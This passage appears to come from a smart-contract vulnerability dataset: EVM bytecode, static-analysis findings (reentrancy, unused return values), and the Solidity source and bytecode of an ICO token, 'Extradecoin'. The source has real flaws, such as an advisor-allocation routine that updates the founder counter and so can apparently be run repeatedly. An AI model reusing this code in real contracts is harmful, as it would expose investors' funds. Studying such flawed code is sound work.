b34801561022a57600080fd5b506101fc610239366004611811565b610531565b34801561024a57600080fd5b506040516009815260200161017d565b34801561026657600080fd5b506101fc6102753660046119bd565b61057c565b34801561028657600080fd5b506101fc6102953660046119f7565b6105c4565b3480156102a657600080fd5b506101fc61061f565b3480156102bb57600080fd5b506101ce6102ca366004611811565b61064c565b3480156102db57600080fd5b506101fc61066e565b3480156102f057600080fd5b506101fc6106e2565b34801561030557600080fd5b506000546040516001600160a01b03909116815260200161017d565b34801561032d57600080fd5b5060408051808201909152600381526247575360e81b6020820152610170565b34801561035957600080fd5b506101fc610720565b34801561036e57600080fd5b506101a661037d3660046118c5565b61096f565b34801561038e57600080fd5b506101fc61039d3660046119f7565b61097c565b3480156103ae57600080fd5b506101fc6109d1565b3480156103c357600080fd5b506101fc610a07565b3480156103d857600080fd5b506101ce6103e736600461184b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061041f338484610c08565b5060015b92915050565b6000546001600160a01b0316331461045c5760405162461bcd60e51b815260040161045390611a93565b60405180910390fd5b60005b81518110156104c45760016006600084848151811061048057610480611bda565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806104bc81611ba9565b91505061045f565b5050565b60006104d5848484610d2c565b610527843361052285604051806060016040528060288152602001611c2a602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061111f565b610c08565b5060019392505050565b6000546001600160a01b0316331461055b5760405162461bcd60e51b815260040161045390611a93565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a65760405162461bcd60e51b815260040161045390611a93565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105ee5760405162461bcd60e51b815260040161045390611a93565b600081116105fb57600080fd5b6106196064610613683635c9adc5dea0000084611159565b906111df565b600f5550565b600c546001600160a01b0316336001600160a01b03161461063f57600080fd5b4761064981611221565b50565b6001600160a01b0381166000908152600260205260408120546104239061125b565b6000546001600160a01b031633146106985760405162461bcd60e51b815260040161045390611a93565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461070c5760405162461bcd60e51b815260040161045390611a93565b683635c9adc5dea00000600f819055601055565b6000546001600160a01b0316331461074a5760405162461bcd60e51b815260040161045390611a93565b600e54600160a01b900460ff161561079e5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610453565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107db3082683635c9adc5dea00000610c08565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561081457600080fd5b505afa158015610828573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084c919061182e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561089457600080fd5b505afa1580156108a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cc919061182e565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561091457600080fd5b505af1158015610928573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094c919061182e565b600e80546001600160a01b0319166001600160a01b039290921691909117905550565b600061041f338484610d2c565b6000546001600160a01b031633146109a65760405162461bcd60e51b815260040161045390611a93565b600081116109b357600080fd5b6109cb6064610613683635c9adc5dea0000084611159565b60105550565b600c546001600160a01b0316336001600160a01b0316146109f157600080fd5b60006109fc3061064c565b9050610649816112d8565b6000546001600160a01b03163314610a315760405162461bcd60e51b815260040161045390611a93565b600e54600160a01b900460ff1615610a855760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610453565b600d546001600160a01b031663f305d7194730610aa18161064c565b600080610ab66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610b1957600080fd5b505af1158015610b2d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b529190611a10565b5050600e80546801158e460913d00000600f81905560105563ffff00ff60a01b198116630101000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610bd057600080fd5b505af1158015610be4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064991906119da565b6001600160a01b038316610c6a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610453565b6001600160a01b038216610ccb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610453565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d905760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610453565b6001600160a01b038216610df25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610453565b60008111610e545760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610453565b6000600a818155600b55546001600160a01b03848116911614801590610e8857506000546001600160a01b03838116911614155b1561110f576001600160a01b03831660009081526006602052604090205460ff16158015610ecf57506001600160a01b03821660009081526006602052604090205460ff16155b610ed857600080fd5b600e546001600160a01b038481169116148015610f035750600d546001600160a01b03838116911614155b8015610f2857506001600160a01b03821660009081526005602052604090205460ff16155b8015610f3d5750600e54600160b81b900460ff165b1561104257600f54811115610f945760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610453565b60105481610fa18461064c565b610fab9190611b39565b1115610ff95760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610453565b6001600160a01b038216600090815260076020526040902054421161101d57600080fd5b61102842601e611b39565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b03838116911614801561106d5750600d546001600160a01b03848116911614155b801561109257506001600160a01b03831660009081526005602052604090205460ff16155b156110a2576000600a908155600b555b60006110ad3061064c565b600e54909150600160a81b900460ff161580156110d85750600e546001600160a01b03858116911614155b80156110ed5750600e54600160b01b900460ff165b1561110d576110fb816112d8565b47801561110b5761110b47611221565b505b505b61111a838383611461565b505050565b600081848411156111435760405162461bcd60e51b81526004016104539190611a3e565b5060006111508486611b92565b95945050505050565b60008261116857506000610423565b60006111748385611b73565b9050826111818583611b51565b146111d85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610453565b9392505050565b60006111d883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061146c565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156104c4573d6000803e3d6000fd5b60006008548211156112c25760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610453565b60006112cc61149a565b90506111d883826111df565b600e805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132057611320611bda565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137457600080fd5b505afa158015611388573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ac919061182e565b816001815181106113bf576113bf611bda565b6001600160a01b039283166020918202929092010152600d546113e59130911684610c08565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061141e908590600090869030904290600401611ac8565b600060405180830381600087803b15801561143857600080fd5b505af115801561144c573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b61111a8383836114bd565b6000818361148d5760405162461bcd60e51b81526004016104539190611a3e565b5060006111508486611b51565b60008060006114a76115b4565b90925090506114b682826111df565b9250505090565b6000806000806000806114cf876115f6565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115019087611653565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115309086611695565b6001600160a01b038916600090815260026020526040902055611552816116f4565b61155c848361173e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115a191815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea000006115d082826111df565b8210156115ed57505060085492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006116138a600a54600b54611762565b925092509250600061162361149a565b905060008060006116368e8787876117b1565b919e509c509a509598509396509194505050505091939550919395565b60006111d883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061111f565b6000806116a28385611b39565b9050838110156111d85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610453565b60006116fe61149a565b9050600061170c8383611159565b306000908152600260205260409020549091506117299082611695565b30600090815260026020526040902055505050565b60085461174b9083611653565b60085560095461175b9082611695565b6009555050565b600080808061177660646106138989611159565b9050600061178960646106138a89611159565b905060006117a18261179b8b86611653565b90611653565b9992985090965090945050505050565b60008080806117c08886611159565b905060006117ce8887611159565b905060006117dc8888611159565b905060006117ee8261179b8686611653565b939b939a50919850919650505050505050565b803561180c81611c06565b919050565b60006020828403121561182357600080fd5b81356111d881611c06565b60006020828403121561184057600080fd5b81516111d881611c06565b6000806040838503121561185e57600080fd5b823561186981611c06565b9150602083013561187981611c06565b809150509250929050565b60008060006060848603121561189957600080fd5b83356118a481611c06565b925060208401356118b481611c06565b929592945050506040919091013590565b600080604083850312156118d857600080fd5b82356118e381611c06565b946020939093013593505050565b6000602080838503121561190457600080fd5b823567ffffffffffffffff8082111561191c57600080fd5b818501915085601f83011261193057600080fd5b81358181111561194257611942611bf0565b8060051b604051601f19603f8301168101818110858211171561196757611967611bf0565b604052828152858101935084860182860187018a101561198657600080fd5b600095505b838610156119b05761199c81611801565b85526001959095019493860193860161198b565b5098975050505050505050565b6000602082840312156119cf57600080fd5b81356111d881611c1b565b6000602082840312156119ec57600080fd5b81516111d881611c1b565b600060208284031215611a0957600080fd5b5035919050565b600080600060608486031215611a2557600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611a6b57858101830151858201604001528201611a4f565b81811115611a7d576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b185784516001600160a01b031683529383019391830191600101611af3565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b4c57611b4c611bc4565b500190565b600082611b6e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611b8d57611b8d611bc4565b500290565b600082821015611ba457611ba4611bc4565b500390565b6000600019821415611bbd57611bbd611bc4565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461064957600080fd5b801515811461064957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202e7ec0fd56da437e6b85fc8c2d0c7c142be31477baee9bd418618bffaf4c8eb964736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,253 |
0x43dea031d5fec7b8316293303e5f813d43eb33ed
|
pragma solidity ^0.4.21;
contract Owner {
address public owner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function Owner(address _owner) public {
owner = _owner;
}
function changeOwner(address _newOwnerAddr) public onlyOwner {
require(_newOwnerAddr != address(0));
owner = _newOwnerAddr;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Extradecoin is Owner {
using SafeMath for uint256;
string public constant name = "EXTRADECOIN";
string public constant symbol = "ETE";
uint public constant decimals = 18;
uint256 constant public totalSupply = 250000000 * 10 ** 18; // 250 mil tokens will be supplied
mapping(address => uint256) internal balances;
mapping(address => mapping (address => uint256)) internal allowed;
address public adminAddress;
address public walletAddress;
address public founderAddress;
address public advisorAddress;
mapping(address => uint256) public totalInvestedAmountOf;
uint constant lockPeriod1 = 3 years; // 1st locked period for tokens allocation of founder and team
uint constant lockPeriod2 = 1 years; // 2nd locked period for tokens allocation of founder and team
uint constant lockPeriod3 = 90 days; // 3nd locked period for tokens allocation of advisor and ICO partners
uint constant NOT_SALE = 0; // Not in sales
uint constant IN_ICO = 1; // In ICO
uint constant END_SALE = 2; // End sales
uint256 public constant salesAllocation = 125000000 * 10 ** 18; // 125 mil tokens allocated for sales
uint256 public constant founderAllocation = 37500000 * 10 ** 18; // 37.5 mil tokens allocated for founders
uint256 public constant advisorAllocation = 25000000 * 10 ** 18; // 25 mil tokens allocated for allocated for ICO partners and bonus fund
uint256 public constant reservedAllocation = 62500000 * 10 ** 18; // 62.5 mil tokens allocated for reserved, bounty campaigns, ICO partners, and bonus fund
uint256 public constant minInvestedCap = 6000 * 10 ** 18; // 2500 ether for softcap
uint256 public constant minInvestedAmount = 0.1 * 10 ** 18; // 0.1 ether for mininum ether contribution per transaction
uint saleState;
uint256 totalInvestedAmount;
uint public icoStartTime;
uint public icoEndTime;
bool public inActive;
bool public isSelling;
bool public isTransferable;
uint public founderAllocatedTime = 1;
uint public advisorAllocatedTime = 1;
uint256 public icoStandardPrice;
uint256 public totalRemainingTokensForSales; // Total tokens remaining for sales
uint256 public totalAdvisor; // Total tokens allocated for advisor
uint256 public totalReservedTokenAllocation; // Total tokens allocated for reserved
event Approval(address indexed owner, address indexed spender, uint256 value); // ERC20 standard event
event Transfer(address indexed from, address indexed to, uint256 value); // ERC20 standard event
event StartICO(uint state); // Start ICO sales
event EndICO(uint state); // End ICO sales
event SetICOPrice(uint256 price); // Set ICO standard price
event IssueTokens(address investorAddress, uint256 amount, uint256 tokenAmount, uint state); // Issue tokens to investor
event AllocateTokensForFounder(address founderAddress, uint256 founderAllocatedTime, uint256 tokenAmount); // Allocate tokens to founders' address
event AllocateTokensForAdvisor(address advisorAddress, uint256 advisorAllocatedTime, uint256 tokenAmount); // Allocate tokens to advisor address
event AllocateReservedTokens(address reservedAddress, uint256 tokenAmount); // Allocate reserved tokens
event AllocateSalesTokens(address salesAllocation, uint256 tokenAmount); // Allocate sales tokens
modifier isActive() {
require(inActive == false);
_;
}
modifier isInSale() {
require(isSelling == true);
_;
}
modifier transferable() {
require(isTransferable == true);
_;
}
modifier onlyOwnerOrAdminOrPortal() {
require(msg.sender == owner || msg.sender == adminAddress);
_;
}
modifier onlyOwnerOrAdmin() {
require(msg.sender == owner || msg.sender == adminAddress);
_;
}
function Extradecoin(address _walletAddr, address _adminAddr) public Owner(msg.sender) {
require(_walletAddr != address(0));
require(_adminAddr != address(0));
walletAddress = _walletAddr;
adminAddress = _adminAddr;
inActive = true;
totalInvestedAmount = 0;
totalRemainingTokensForSales = salesAllocation;
totalAdvisor = advisorAllocation;
totalReservedTokenAllocation = reservedAllocation;
}
// Fallback function for token purchasing
function () external payable isActive isInSale {
uint state = getCurrentState();
require(state == IN_ICO);
require(msg.value >= minInvestedAmount);
if (state == IN_ICO) {
return issueTokensForICO(state);
}
revert();
}
// ERC20 standard function
function transfer(address _to, uint256 _value) external transferable returns (bool) {
require(_to != address(0));
require(_value > 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
// ERC20 standard function
function transferFrom(address _from, address _to, uint256 _value) external transferable returns (bool) {
require(_to != address(0));
require(_from != address(0));
require(_value > 0);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
// ERC20 standard function
function approve(address _spender, uint256 _value) external transferable returns (bool) {
require(_spender != address(0));
require(_value > 0);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
// Start ICO
function startICO() external isActive onlyOwnerOrAdmin returns (bool) {
saleState = IN_ICO;
icoStartTime = now;
isSelling = true;
emit StartICO(saleState);
return true;
}
// End ICO
function endICO() external isActive onlyOwnerOrAdmin returns (bool) {
require(icoEndTime == 0);
saleState = END_SALE;
isSelling = false;
icoEndTime = now;
emit EndICO(saleState);
return true;
}
// Set ICO price including ICO standard price, ICO 1st round price, ICO 2nd round price
function setICOPrice(uint256 _tokenPerEther) external onlyOwnerOrAdmin returns(bool) {
require(_tokenPerEther > 0);
icoStandardPrice = _tokenPerEther;
emit SetICOPrice(icoStandardPrice);
return true;
}
// Activate token sale function
function activate() external onlyOwner {
inActive = false;
}
// Deacivate token sale function
function deActivate() external onlyOwner {
inActive = true;
}
// Enable transfer feature of tokens
function enableTokenTransfer() external isActive onlyOwner {
isTransferable = true;
}
// Modify wallet
function changeWallet(address _newAddress) external onlyOwner {
require(_newAddress != address(0));
require(walletAddress != _newAddress);
walletAddress = _newAddress;
}
// Modify admin
function changeAdminAddress(address _newAddress) external onlyOwner {
require(_newAddress != address(0));
require(adminAddress != _newAddress);
adminAddress = _newAddress;
}
// Modify founder address to receive founder tokens allocation
function changeFounderAddress(address _newAddress) external onlyOwnerOrAdmin {
require(_newAddress != address(0));
require(founderAddress != _newAddress);
founderAddress = _newAddress;
}
// Modify team address to receive team tokens allocation
function changeTeamAddress(address _newAddress) external onlyOwnerOrAdmin {
require(_newAddress != address(0));
require(advisorAddress != _newAddress);
advisorAddress = _newAddress;
}
// Allocate tokens for founder vested gradually for 4 year
function allocateTokensForFounder() external isActive onlyOwnerOrAdmin {
require(saleState == END_SALE);
require(founderAddress != address(0));
uint256 amount;
if (founderAllocatedTime == 1) {
require(now >= icoEndTime + lockPeriod1);
amount = founderAllocation * 50/100;
balances[founderAddress] = balances[founderAddress].add(amount);
emit AllocateTokensForFounder(founderAddress, founderAllocatedTime, amount);
founderAllocatedTime = 2;
return;
}
if (founderAllocatedTime == 2) {
require(now >= icoEndTime + lockPeriod2);
amount = founderAllocation * 50/100;
balances[founderAddress] = balances[founderAddress].add(amount);
emit AllocateTokensForFounder(founderAddress, founderAllocatedTime, amount);
founderAllocatedTime = 3;
return;
}
revert();
}
// Allocate tokens for advisor and angel investors vested gradually for 1 year
function allocateTokensForAdvisor() external isActive onlyOwnerOrAdmin {
require(saleState == END_SALE);
require(advisorAddress != address(0));
uint256 amount;
if (advisorAllocatedTime == 1) {
amount = advisorAllocation * 50/100;
balances[advisorAddress] = balances[advisorAddress].add(amount);
emit AllocateTokensForFounder(advisorAddress, founderAllocatedTime, amount);
founderAllocatedTime = 2;
return;
}
if (advisorAllocatedTime == 2) {
require(now >= icoEndTime + lockPeriod2);
amount = advisorAllocation * 125/1000;
balances[advisorAddress] = balances[advisorAddress].add(amount);
emit AllocateTokensForAdvisor(advisorAddress, advisorAllocatedTime, amount);
advisorAllocatedTime = 3;
return;
}
if (advisorAllocatedTime == 3) {
require(now >= icoEndTime + lockPeriod3);
amount = advisorAllocation * 125/1000;
balances[advisorAddress] = balances[advisorAddress].add(amount);
emit AllocateTokensForAdvisor(advisorAddress, advisorAllocatedTime, amount);
advisorAllocatedTime = 4;
return;
}
if (advisorAllocatedTime == 4) {
require(now >= icoEndTime + lockPeriod3);
amount = advisorAllocation * 125/1000;
balances[advisorAddress] = balances[advisorAddress].add(amount);
emit AllocateTokensForAdvisor(advisorAddress, advisorAllocatedTime, amount);
advisorAllocatedTime = 5;
return;
}
if (advisorAllocatedTime == 5) {
require(now >= icoEndTime + lockPeriod3);
amount = advisorAllocation * 125/1000;
balances[advisorAddress] = balances[advisorAddress].add(amount);
emit AllocateTokensForAdvisor(advisorAddress, advisorAllocatedTime, amount);
advisorAllocatedTime = 6;
return;
}
revert();
}
// Allocate reserved tokens
function allocateReservedTokens(address _addr, uint _amount) external isActive onlyOwnerOrAdmin {
require(_amount > 0);
require(_addr != address(0));
balances[_addr] = balances[_addr].add(_amount);
totalReservedTokenAllocation = totalReservedTokenAllocation.sub(_amount);
emit AllocateReservedTokens(_addr, _amount);
}
// Allocate sales tokens
function allocateSalesTokens(address _addr, uint _amount) external isActive onlyOwnerOrAdmin {
require(_amount > 0);
require(_addr != address(0));
balances[_addr] = balances[_addr].add(_amount);
totalRemainingTokensForSales = totalRemainingTokensForSales.sub(_amount);
emit AllocateSalesTokens(_addr, _amount);
}
// ERC20 standard function
function allowance(address _owner, address _spender) external constant returns (uint256) {
return allowed[_owner][_spender];
}
// Issue tokens to normal investors through ICO rounds
function issueTokensForICO(uint _state) private {
uint256 price = icoStandardPrice;
issueTokens(price, _state);
}
// Issue tokens to investors and transfer ether to wallet
function issueTokens(uint256 _price, uint _state) private {
require(walletAddress != address(0));
uint tokenAmount = msg.value.mul(_price).mul(10**18).div(1 ether);
balances[msg.sender] = balances[msg.sender].add(tokenAmount);
totalInvestedAmountOf[msg.sender] = totalInvestedAmountOf[msg.sender].add(msg.value);
totalRemainingTokensForSales = totalRemainingTokensForSales.sub(tokenAmount);
totalInvestedAmount = totalInvestedAmount.add(msg.value);
walletAddress.transfer(msg.value);
emit IssueTokens(msg.sender, msg.value, tokenAmount, _state);
}
// ERC20 standard function
function balanceOf(address _owner) external constant returns (uint256 balance) {
return balances[_owner];
}
// Get current sales state
function getCurrentState() public view returns(uint256) {
return saleState;
}
// Get softcap reaching status
function isSoftCapReached() public view returns (bool) {
return totalInvestedAmount >= minInvestedCap;
}
}
|
0x6060604052600436106102505763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146102c857806309522d7f14610352578063095ea7b3146103775780630f15f4c0146103ad5780631021688f146103c257806311823e04146103e157806318160ddd146103f45780632121dc75146104075780632272df671461041a578063230b1eb51461043957806323b872dd1461044c57806325b5160c146104745780632c8c892b1461048a578063313ce567146104ac5780633281c4e1146104bf578063378aa701146104d2578063396d1ddf146104e55780633a22a593146104f85780633a7644621461050b5780633aee69bb1461051e57806346bb28331461053d5780634f2484091461056c5780635185b7241461057f5780636175adee146105a157806363db30e8146105b45780636ad5b3ea146105c757806370a08231146105da5780637904586e146105f95780637e1055b6146106185780637fa8c1581461062b57806380d32f851461063e578063824338bd146106515780638da5cb5b1461066457806395d89b411461067757806396d4d0911461068a57806398b9a2dc1461069d578063a6f9dae1146106bc578063a7c3d71b146106db578063a9059cbb146106ee578063aaff2a8314610710578063be5f3d1214610723578063cbf2183714610736578063d128fc2014610749578063d8ee796f1461075c578063dccbfa2a1461076f578063dd62ed3e14610782578063f97a02fa146107a7578063fc6f9468146107ba578063ff895a62146107cd575b600c5460009060ff161561026357600080fd5b600c5460ff61010090910416151560011461027d57600080fd5b6102856107e0565b90506001811461029457600080fd5b67016345785d8a00003410156102a957600080fd5b60018114156102c0576102bb816107e6565b6102c5565b600080fd5b50005b34156102d357600080fd5b6102db6107f7565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156103175780820151838201526020016102ff565b50505050905090810190601f1680156103445780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561035d57600080fd5b61036561082e565b60405190815260200160405180910390f35b341561038257600080fd5b610399600160a060020a036004351660243561083d565b604051901515815260200160405180910390f35b34156103b857600080fd5b6103c06108e5565b005b34156103cd57600080fd5b6103c0600160a060020a036004351661090c565b34156103ec57600080fd5b610365610986565b34156103ff57600080fd5b610365610995565b341561041257600080fd5b6103996109a4565b341561042557600080fd5b6103c0600160a060020a03600435166109b3565b341561044457600080fd5b610365610a48565b341561045757600080fd5b610399600160a060020a0360043581169060243516604435610a4e565b341561047f57600080fd5b610399600435610bb5565b341561049557600080fd5b6103c0600160a060020a0360043516602435610c39565b34156104b757600080fd5b610365610d41565b34156104ca57600080fd5b610365610d46565b34156104dd57600080fd5b6103656107e0565b34156104f057600080fd5b610365610d55565b341561050357600080fd5b610365610d5b565b341561051657600080fd5b6103c0610d61565b341561052957600080fd5b6103c0600160a060020a0360043516610d9f565b341561054857600080fd5b610550610e34565b604051600160a060020a03909116815260200160405180910390f35b341561057757600080fd5b610399610e43565b341561058a57600080fd5b6103c0600160a060020a0360043516602435610ee8565b34156105ac57600080fd5b610365610ff0565b34156105bf57600080fd5b610365610ff6565b34156105d257600080fd5b610550611002565b34156105e557600080fd5b610365600160a060020a0360043516611011565b341561060457600080fd5b610365600160a060020a036004351661102c565b341561062357600080fd5b61036561103e565b341561063657600080fd5b610399611044565b341561064957600080fd5b6103996110e0565b341561065c57600080fd5b6103656110f4565b341561066f57600080fd5b610550611103565b341561068257600080fd5b6102db611112565b341561069557600080fd5b610550611149565b34156106a857600080fd5b6103c0600160a060020a0360043516611158565b34156106c757600080fd5b6103c0600160a060020a03600435166111d2565b34156106e657600080fd5b610365611231565b34156106f957600080fd5b610399600160a060020a0360043516602435611237565b341561071b57600080fd5b610365611335565b341561072e57600080fd5b6103c061133b565b341561074157600080fd5b6103996117b3565b341561075457600080fd5b6103c06117c1565b341561076757600080fd5b6103656119f4565b341561077a57600080fd5b6103656119fa565b341561078d57600080fd5b610365600160a060020a0360043581169060243516611a08565b34156107b257600080fd5b610399611a33565b34156107c557600080fd5b610550611a3c565b34156107d857600080fd5b6103c0611a4b565b60085490565b600f546107f38183611a75565b5050565b60408051908101604052600b81527f45585452414445434f494e000000000000000000000000000000000000000000602082015281565b6a33b2e3c9fd0803ce80000081565b600c5460009062010000900460ff16151560011461085a57600080fd5b600160a060020a038316151561086f57600080fd5b6000821161087c57600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005433600160a060020a0390811691161461090057600080fd5b600c805460ff19169055565b60005433600160a060020a0390811691161461092757600080fd5b600160a060020a038116151561093c57600080fd5b600354600160a060020a038281169116141561095757600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6a14adf4b7320334b900000081565b6acecb8f27f4200f3a00000081565b600c5462010000900460ff1681565b60005433600160a060020a03908116911614806109de575060035433600160a060020a039081169116145b15156109e957600080fd5b600160a060020a03811615156109fe57600080fd5b600554600160a060020a0382811691161415610a1957600080fd5b6005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60125481565b600c5460009062010000900460ff161515600114610a6b57600080fd5b600160a060020a0383161515610a8057600080fd5b600160a060020a0384161515610a9557600080fd5b60008211610aa257600080fd5b600160a060020a038416600090815260016020526040902054610acb908363ffffffff611c0716565b600160a060020a038086166000908152600160205260408082209390935590851681522054610b00908363ffffffff611c1916565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610b48908363ffffffff611c0716565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6000805433600160a060020a0390811691161480610be1575060035433600160a060020a039081169116145b1515610bec57600080fd5b60008211610bf957600080fd5b600f8290557f1c1b18768492f25670993e4eaf1a7d17a8abe51d71b27bc5c1255e40d2d506a88260405190815260200160405180910390a1506001919050565b600c5460ff1615610c4957600080fd5b60005433600160a060020a0390811691161480610c74575060035433600160a060020a039081169116145b1515610c7f57600080fd5b60008111610c8c57600080fd5b600160a060020a0382161515610ca157600080fd5b600160a060020a038216600090815260016020526040902054610cca908263ffffffff611c1916565b600160a060020a038316600090815260016020526040902055601054610cf6908263ffffffff611c0716565b6010557f5a0785f58719bca05bb9d76730d322e101b6c7c8bcc6da140a409947b003bbe78282604051600160a060020a03909216825260208201526040908101905180910390a15050565b601281565b6a6765c793fa10079d00000081565b60115481565b600e5481565b600c5460ff1615610d7157600080fd5b60005433600160a060020a03908116911614610d8c57600080fd5b600c805462ff0000191662010000179055565b60005433600160a060020a0390811691161480610dca575060035433600160a060020a039081169116145b1515610dd557600080fd5b600160a060020a0381161515610dea57600080fd5b600654600160a060020a0382811691161415610e0557600080fd5b6006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600554600160a060020a031681565b600c5460009060ff1615610e5657600080fd5b60005433600160a060020a0390811691161480610e81575060035433600160a060020a039081169116145b1515610e8c57600080fd5b600b5415610e9957600080fd5b60026008819055600c805461ff001916905542600b557fe